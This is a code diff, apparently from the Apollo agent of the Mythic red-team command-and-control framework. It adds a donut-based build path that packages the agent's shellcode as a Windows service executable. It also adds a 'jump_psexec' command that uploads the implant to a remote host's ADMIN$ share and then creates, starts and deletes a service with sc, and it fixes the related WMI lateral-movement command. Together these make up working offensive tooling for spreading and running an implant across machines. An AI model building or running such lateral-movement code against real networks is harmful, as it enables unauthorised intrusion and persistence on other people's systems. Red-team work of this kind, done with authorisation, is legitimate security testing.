shutil.move("{}/Release/ApolloInterop.dll".format(agent_build_path.name), targetInteropPath) shutil.move("{}/Release/RunOF.dll".format(agent_build_path.name), targetRunOfPath) - if self.get_parameter('output_type') != "Shellcode": + if self.get_parameter('output_type') == "WinExe": await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, StepName="Donut", @@ -184,7 +185,7 @@ async def build(self) -> BuildResponse: stderr=asyncio.subprocess.PIPE) stdout, stderr = await proc.communicate() - command = "{} -i {}".format(donutPath, output_path) + command = "{} -x3 -k2 -i {}".format(donutPath, output_path) # need to go through one more step to turn our exe into shellcode proc = await asyncio.create_subprocess_shell(command, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE, @@ -212,10 +213,64 @@ async def build(self) -> BuildResponse: StepStdout=f"Successfully passed through donut:\n{command}", StepSuccess=True )) - resp.payload = open(shellcode_path, 'rb').read() - resp.build_message = success_message - resp.status = BuildStatus.Success - resp.build_stdout = stdout_err + if self.get_parameter('output_type') == "Shellcode": + resp.payload = open(shellcode_path, 'rb').read() + resp.build_message = success_message + resp.status = BuildStatus.Success + resp.build_stdout = stdout_err + else: + # we're generating a service executable + working_path = ( + pathlib.PurePath(agent_build_path.name) + / "Service" + / "WindowsService1" + / "Resources" + / "loader.bin" + ) + shutil.move(shellcode_path, working_path) + command = f"dotnet build -c release -p:OutputType=WinExe -p:Platform=\"Any CPU\"" + proc = await asyncio.create_subprocess_shell( + command, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + cwd=pathlib.PurePath(agent_build_path.name) / "Service", + ) + stdout, stderr = await proc.communicate() + if stdout: + stdout_err += f"[stdout]\n{stdout.decode()}" + if stderr: + stdout_err += f"[stderr]\n{stderr.decode()}" + output_path = ( + pathlib.PurePath(agent_build_path.name) + / "Service" + / "WindowsService1" + / "bin" + / "Release" + / "net451" + / "WindowsService1.exe" + ) + output_path = str(output_path) + if os.path.exists(output_path): + resp.payload = open(output_path, "rb").read() + resp.status = BuildStatus.Success + resp.build_message = "New Service Executable created!" + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Creating Service", + StepStdout=stdout_err, + StepSuccess=True + )) + else: + resp.payload = b"" + resp.status = BuildStatus.Error + resp.build_stderr = stdout_err + "\n" + output_path + await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( + PayloadUUID=self.uuid, + StepName="Creating Service", + StepStdout=stdout_err, + StepSuccess=False + )) + else: # something went wrong, return our errors await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( @@ -232,6 +287,7 @@ async def build(self) -> BuildResponse: resp.payload = b"" resp.status = BuildStatus.Error resp.build_message = "Error building payload: " + str(traceback.format_exc()) + #await asyncio.sleep(10000) return resp async def check_if_callbacks_alive(self, diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/jump_psexec.py b/Payload_Type/apollo/apollo/mythic/agent_functions/jump_psexec.py new file mode 100644 index 00000000..5d97f260 --- /dev/null +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/jump_psexec.py @@ -0,0 +1,348 @@ +from mythic_container.MythicCommandBase import * +import json +from mythic_container.MythicRPC import * +import uuid +import asyncio + +class JumpPSEXECArguments(TaskArguments): + + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="Payload", + cli_name="Payload", + display_name="Payload", + type=ParameterType.ChooseOne, + dynamic_query_function=self.get_payloads, + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="specific_payload", + ui_position=4 + ), + ] + ), + CommandParameter( + name="host", + cli_name="host", + display_name="Host", + type=ParameterType.String, + parameter_group_info=[ + ParameterGroupInfo( + required=True, + group_name="Default", + ui_position=1 + ), + ParameterGroupInfo( + required=True, + group_name="specific_payload", + ui_position=1 + ) + ] + ), + CommandParameter( + name="command", + cli_name="command", + display_name="Command", + default_value="C:\\Windows\\apollo.exe", + type=ParameterType.String, + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=3, + ), + ParameterGroupInfo( + required=False, + group_name="specific_payload", + ui_position=3 + ) + ] + ), + CommandParameter( + name="remote_path", + cli_name="remote_path", + display_name="Remote Upload Location", + type=ParameterType.String, + default_value="ADMIN$\\apollo.exe", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=2 + ), + ParameterGroupInfo( + required=False, + group_name="specific_payload", + ui_position=2 + ) + ] + ), + CommandParameter( + name="remote_service_name", + cli_name="remoteServiceName", + display_name="Remote Service Name", + type=ParameterType.String, + default_value="", + parameter_group_info=[ + ParameterGroupInfo( + required=False, + group_name="Default", + ui_position=2 + ), + ParameterGroupInfo( + required=False, + group_name="specific_payload", + ui_position=2 + ) + ] + ), + ] + + errorMsg = "Missing required parameter: {}" + + async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: + fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) + payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + CallbackID=inputMsg.Callback, + PayloadTypes=["apollo"], + IncludeAutoGeneratedPayloads=False, + BuildParameters=[MythicRPCPayloadSearchBuildParameter(PayloadType="apollo", BuildParameterValues={"output_type": "Service"})] + )) + + if payload_search.Success: + file_names = [] + for f in payload_search.Payloads: + file_names.append(f"{f.Filename} - {f.Description} - {f.UUID}") + fileResponse.Success = True + fileResponse.Choices = file_names + return fileResponse + else: + fileResponse.Error = payload_search.Error + return fileResponse + + + async def parse_arguments(self): + if self.command_line[0] != "{": + raise Exception("Inject requires JSON parameters and not raw command line.") + self.load_args_from_json_string(self.command_line) + if self.get_arg("pid") == 0: + raise Exception("Required non-zero PID") + + +async def mirror_up_output(task: PTTaskCompletionFunctionMessage): + response_search = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage( + TaskID=task.SubtaskData.Task.ID, + )) + if response_search.Success: + for r in response_search.Responses: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.TaskData.Task.ID, + Response=r.Response.encode() + )) + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.TaskData.Task.ID, + Response="\n".encode() + )) + + +async def psexec_delete_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) + await mirror_up_output(task=task) + if "error" in task.SubtaskData.Task.Status.lower(): + response.TaskStatus = f"error: failed to delete service" + return response + + +async def psexec_start_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) + await mirror_up_output(task=task) + if "error" in task.SubtaskData.Task.Status.lower(): + response.TaskStatus = f"error: failed to start service" + await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( + TaskID=task.TaskData.Task.ID, + UpdateStatus="deleting remote service" + )) + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=task.TaskData.Task.ID, + SubtaskCallbackFunction="psexec_delete_callback", + CommandName="sc", + Params=json.dumps({ + "computer": task.TaskData.args.get_arg("host"), + "delete": True, + "service": task.TaskData.args.get_arg("remote_service_name"), + }) + )) + return response + + +async def psexec_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) + await mirror_up_output(task=task) + if "error" in task.SubtaskData.Task.Status.lower(): + response.TaskStatus = f"error: failed to create service" + return response + await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( + TaskID=task.TaskData.Task.ID, + UpdateStatus="starting remote service" + )) + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=task.TaskData.Task.ID, + SubtaskCallbackFunction="psexec_start_callback", + CommandName="sc", + #{"binpath":"C:\\Users\\itsafeature\\Desktop\\apollo_service.exe","service":"apollo","create":true,"display_name":"apollo","computer":""} + Params=json.dumps({ + "computer": task.TaskData.args.get_arg("host"), + "start": True, + "service": task.TaskData.args.get_arg("remote_service_name"), + }) + )) + return response + + +async def upload_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + response = PTTaskCompletionFunctionMessageResponse(Success=True) + await mirror_up_output(task=task) + if "error" in task.SubtaskData.Task.Status.lower(): + response.TaskStatus = f"error: failed to copy over file" + return response + await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( + TaskID=task.TaskData.Task.ID, + UpdateStatus="creating remote service" + )) + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=task.TaskData.Task.ID, + SubtaskCallbackFunction="psexec_callback", + CommandName="sc", + #{"binpath":"C:\\Users\\itsafeature\\Desktop\\apollo_service.exe","service":"apollo","create":true,"display_name":"apollo","computer":""} + Params=json.dumps({ + "binpath": f"{task.TaskData.args.get_arg('command')}", + "computer": task.TaskData.args.get_arg("host"), + "create": True, + "service": task.TaskData.args.get_arg("remote_service_name"), + "display_name": task.TaskData.args.get_arg("remote_service_name"), + }) + )) + return response + + +class JumpPSEXeCCommand(CommandBase): + cmd = "jump_psexec" + attributes=CommandAttributes( + dependencies=["sc"] + ) + needs_admin = True + help_cmd = "jump_psexec hostname" + description = "Use sc to move laterally to a new host by first copying over apollo.exe." + version = 2 + script_only = True + author = "@its_a_feature_" + argument_class = JumpPSEXECArguments + attackmapping = ["T1055"] + completion_functions = { + "upload_callback": upload_callback, + "psexec_callback": psexec_callback, + "psexec_start_callback": psexec_start_callback, + "psexec_delete_callback": psexec_delete_callback + } + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + payload = None + if (taskData.args.get_arg("remote_path") == "ADMIN$\\apollo.exe" and + taskData.args.get_arg("command") != "C:\\Windows\\apollo.exe") or ( + taskData.args.get_arg("remote_path") != "ADMIN$\\apollo.exe" and + taskData.args.get_arg("command") == "C:\\Windows\\apollo.exe" + ): + raise Exception("Remote Path and Command must be updated together or neither updated.\nremote_path is the UNC style path of where the payload will be uploaded and command is the local path for executing the command") + + if taskData.args.get_parameter_group_name() == "specific_payload": + string_payload = [x.strip() for x in taskData.args.get_arg("Payload").split(" - ")] + str_uuid = string_payload[2] + payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + PayloadUUID=str_uuid + )) + if not payload_search.Success: + raise Exception("Failed to find payload: {}".format(taskData.args.get_arg("Payload"))) + + if len(payload_search.Payloads) == 0: + raise Exception("No payloads found matching {}".format(taskData.args.get_arg("Payload"))) + payload = payload_search.Payloads[0] + else: + payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + IncludeAutoGeneratedPayloads=False, + PayloadUUID=taskData.Payload.UUID + )) + if not payload_search.Success: + raise Exception("Failed to find payload: {}".format(taskData.Payload.UUID)) + if len(payload_search.Payloads) == 0: + raise Exception("No payloads found matching {}".format(taskData.Payload.UUID)) + payload = payload_search.Payloads[0] + if payload.BuildParameters[0].Value != "Service": + # the current payload is shellcode and not an exe, so we need to generate an exe + await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( + TaskID=taskData.Task.ID, + UpdateStatus="building Service Apollo..." + )) + newPayloadResp = await SendMythicRPCPayloadCreateFromScratch(MythicRPCPayloadCreateFromScratchMessage( + TaskID=taskData.Task.ID, + PayloadConfiguration=MythicRPCPayloadConfiguration( + payload_type="apollo", + description=f"Psexec to host {taskData.args.get_arg('host')}", + build_parameters=[ + {"name": "output_type", "value": "Service"} + ], + selected_os="Windows", + filename="apollo_service.exe", + commands=payload_search.Payloads[0].Commands, + c2_profiles=[x.to_json() for x in payload_search.Payloads[0].C2Profiles], + ), + RemoteHost=taskData.args.get_arg("host"), + )) + if newPayloadResp.Success: + # we know a payload is building, now we want it + str_uuid = newPayloadResp.NewPayloadUUID + while True: + resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + PayloadUUID=newPayloadResp.NewPayloadUUID + )) + if resp.Success: + if resp.Payloads[0].BuildPhase == 'success': + # it's done, so we can register a file for it + payload = resp.Payloads[0] + break + elif resp.Payloads[0].BuildPhase == 'error': + raise Exception("Failed to build new payload ") + else: + await asyncio.sleep(1) + else: + logger.exception("Failed to build new payload") + raise Exception("Failed to build payload from template {}".format(taskData.args.get_arg("template"))) + if payload is None: + raise Exception("Failed to find payload or generate payload for lateral movement") + # step 1 - upload payload to remote host at remote location + # step 2 - kick off wmiexecute for remote host to run remote_command + response.DisplayParams = f"{payload.Filename} onto \\\\{taskData.args.get_arg('host')}\\{taskData.args.get_arg('remote_path')}" + response.TaskStatus = "uploading file..." + service_name = taskData.args.get_arg("remote_service_name") + if service_name == "": + service_name = str(uuid.uuid4()) + taskData.args.set_arg("remote_service_name", service_name) + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=taskData.Task.ID, + SubtaskCallbackFunction="upload_callback", + CommandName="upload", + Params=json.dumps({ + "remote_path": f"\\\\{taskData.args.get_arg('host')}\\{taskData.args.get_arg('remote_path')}", + "file": payload.AgentFileId + }) + )) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py b/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py index 39f6956b..6a39bed5 100644 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py +++ b/Payload_Type/apollo/apollo/mythic/agent_functions/jump_wmi.py @@ -96,7 +96,7 @@ async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRP if payload_search.Success: file_names = [] for f in payload_search.Payloads: - file_names.append(f"{f.Filename} - {f.Description}") + file_names.append(f"{f.Filename} - {f.Description} - {f.UUID}") fileResponse.Success = True fileResponse.Choices = file_names return fileResponse @@ -133,7 +133,7 @@ async def wmi_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletio response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus="success", Completed=True) await mirror_up_output(task=task) if "error" in task.SubtaskData.Task.Status.lower(): - response.TaskStatus = f"error: failed to copy over file" + response.TaskStatus = f"error: failed to execute wmi" return response return response @@ -184,17 +184,18 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat Success=True, ) payload = None + if (taskData.args.get_arg("remote_path") == "ADMIN$\\apollo.exe" and + taskData.args.get_arg("command") != "C:\\Windows\\apollo.exe") or ( + taskData.args.get_arg("remote_path") != "ADMIN$\\apollo.exe" and + taskData.args.get_arg("command") == "C:\\Windows\\apollo.exe" + ): + raise Exception("Remote Path and Command must be updated together or neither updated.\nremote_path is the UNC style path of where the payload will be uploaded and command is the local path for executing the command") + if taskData.args.get_parameter_group_name() == "specific_payload": string_payload = [x.strip() for x in taskData.args.get_arg("Payload").split(" - ")] - filename = string_payload[0] - desc = string_payload[1] + str_uuid = string_payload[2] payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( - CallbackID=taskData.Callback.ID, - PayloadTypes=["apollo"], - Filename=filename, - Description=desc, - IncludeAutoGeneratedPayloads=False, - BuildParameters=[MythicRPCPayloadSearchBuildParameter(PayloadType="apollo", BuildParameterValues={"output_type": "Shellcode"})] + PayloadUUID=str_uuid )) if not payload_search.Success: raise Exception("Failed to find payload: {}".format(taskData.args.get_arg("Payload"))) @@ -212,7 +213,7 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat if len(payload_search.Payloads) == 0: raise Exception("No payloads found matching {}".format(taskData.Payload.UUID)) payload = payload_search.Payloads[0] - if payload_search.Payloads[0].BuildParameters[0].Value == "Shellcode": + if payload_search.Payloads[0].BuildParameters[0].Value != "WinExe": # the current payload is shellcode and not an exe, so we need to generate an exe await SendMythicRPCTaskUpdate(MythicRPCTaskUpdateMessage( TaskID=taskData.Task.ID, @@ -224,10 +225,7 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat payload_type="apollo", description=f"WMI to host {taskData.args.get_arg('host')}", build_parameters=[ - MythicRPCPayloadConfigurationBuildParameter( - name="output_type", - value="WinExe" - ) + {"name": "output_type", "value": "WinExe"} ], selected_os="Windows", filename="apollo.exe", @@ -246,7 +244,7 @@ async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreat if resp.Success: if resp.Payloads[0].BuildPhase == 'success': # it's done, so we can register a file for it - payload = payload_search.Payloads[0] + payload = resp.Payloads[0] break elif resp.Payloads[0].BuildPhase == 'error': raise Exception("Failed to build new payload ") diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/sc.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/sc.js index 47c454fd..088ac3cf 100644 --- a/Payload_Type/apollo/apollo/mythic/browser_scripts/sc.js +++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/sc.js @@ -73,7 +73,7 @@ function(task, responses){ "type": "task", "ui_feature": "sc:delete", "parameters": { - "start": true, + "delete": true, "computer": jinfo["computer"], "service": jinfo["service"], },